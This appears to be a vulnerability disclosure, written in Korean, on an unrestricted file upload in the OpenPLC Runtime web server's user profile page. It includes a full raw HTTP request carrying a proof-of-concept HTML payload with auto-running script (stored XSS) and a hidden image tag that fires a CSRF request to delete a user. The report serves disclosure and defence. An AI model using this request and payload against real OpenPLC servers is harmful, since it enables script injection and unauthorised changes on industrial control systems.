
인증된 사용자는 OpenPLC Runtime에서 프로필 이미지로 임의 파일(.html, .svg 등)을 업로드할 수 있습니다. 이 파일들은 인증 없이 공개적으로 접근 가능하여 저장형 XSS 또는 악성 콘텐츠 전달을 허용합니다.
저는 OpenPLC Runtime 웹서버(릴리스 버전: 2024-12-31)에서 인증된 사용자가 프로필 사진으로 임의의 파일(예: .html, .svg)을 업로드할 수 있는 취약점을 발견했습니다. 이 파일들은 /static/ 디렉터리에 저장되며 인증 없이 접근 가능하여 저장된 XSS 또는 악성 호스팅 시나리오를 가능하게 합니다.
/edit-user.html 또는 .svg 파일을 업로드합니다./static/에 저장되며 예측 가능한 ID가 부여됩니다 (예: http://localhost:8080/static/336029.html)
.html 파일 업로드

/static/에서 실행된 업로드 파일
기본 PoC 데모
poc de base.mp4
인증되지 않은 접근 시연
unauthenticated.mp4
CSRF PoC
poc csrf.mp4
POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1397
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: [OpenPLC URL]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
User-Agent: [UA]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/edit-user?table_id=10
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=[cookie]
Connection: close
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"
10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"
OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"
openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"
[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"
mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title>PoC – Unfiltered Upload</title>
</head>
<body>
<h1>Proof of Concept</h1>
<p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>
<h2>XSS Demo (auto-executed)</h2>
<script>alert('PoC xss')</script>
<h2>CSRF</h2>
<img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />
<h2>document.domain</h2>
<p>Opened from: <script>document.write(document.domain)</script></p>
<h2>Manual link to malicious HTML</h2>
<a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>
------WebKitFormBoundaryW3GoLRyFS7dyLS2B--